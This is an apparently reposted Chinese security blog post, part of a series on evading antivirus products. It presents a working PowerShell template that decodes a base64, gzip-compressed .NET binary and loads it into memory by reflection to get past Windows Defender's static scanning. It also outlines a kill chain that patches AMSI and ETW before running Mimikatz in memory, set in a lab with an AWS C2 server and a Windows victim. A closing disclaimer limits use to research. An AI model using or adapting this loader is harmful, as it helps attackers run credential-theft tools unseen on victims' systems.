环境
-
带有 Ubuntu Linux AMI 的 AWS EC2 作为攻击者 C2 服务器。 -
带有 Windows Server 2019 AMI 的 AWS EC2 作为受害者机器。 -
安装 Visual Studio 2022 社区的本地 Windows 10 计算机用于恶意软件开发和编译 -
本地 Kali Linux 攻击机。
过程
可能还记得系列第一篇中在修补内存中的 AMSI
后执行 Mimikatz
作为 Defender
停止扫描进程内存的演示。这是因为 .NET
公布了 System.Reflection.Assembly
接口,可以使用它来反射加载和执行 .NET
程序集(定义为“表示一个程序集,它是一个可重用、可版本化且自描述的公共构建块语言运行时应用程序。”)在内存中。
这当然对于攻击目的非常有用,因为 PowerShell
使用 .NET
,可以在脚本中使用它在内存中加载整个二进制文件,以绕过 Windows Defender
大放异彩的静态分析。
脚本的一般结构如下:
function Invoke-YourTool
{
$a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))
$decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
$output = New-Object System.IO.MemoryStream
$decompressed.CopyTo( $output )
[byte[]] $byteOutArray = $output.ToArray()
$RAS = [System.Reflection.Assembly]::Load($byteOutArray)
$OldConsoleOut = [Console]::Out
$StringWriter = New-Object IO.StringWriter
[Console]::SetOut($StringWriter)
[ClassName.Program]::main([string[]]$args)
[Console]::SetOut($OldConsoleOut)
$Results = $StringWriter.ToString()
$Results
}
Gzip
仅用于尝试隐藏真正的二进制文件,因此有时它可能无需进一步的绕过方法即可工作,但最重要的一行是从 System.Reflection.Assembly
.NET
类调用 Load
函数以将二进制文件加载到内存中. 之后,可以简单地用“[ClassName.Program]::main([string[]]$args)
”调用它的主函数
因此,可以执行以下杀伤链来执行任何二进制文件:
-
补丁 AMSI/ETW。 -
反射加载并执行程序集。
对于这个 PoC
,执行 Mimikatz
,当然可以随意使用任何其他的。
反射加载 Mimikatz
请注意,如前所述,某些二进制文件可能不需要绕过 AMSI
,具体取决于在脚本中应用的二进制文件的字符串表示形式。但由于 Invoke-Mimikatz
广为人知,需要在这个例子中这样做。
请点一下右下角的“在看”,谢谢!!
请帮忙点赞, 谢谢!!
请帮忙转发,谢谢!!
暗号: 048160
原文始发于微信公众号(奶牛安全):卡巴defender火绒360免杀十种方法9: 借刀杀人
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论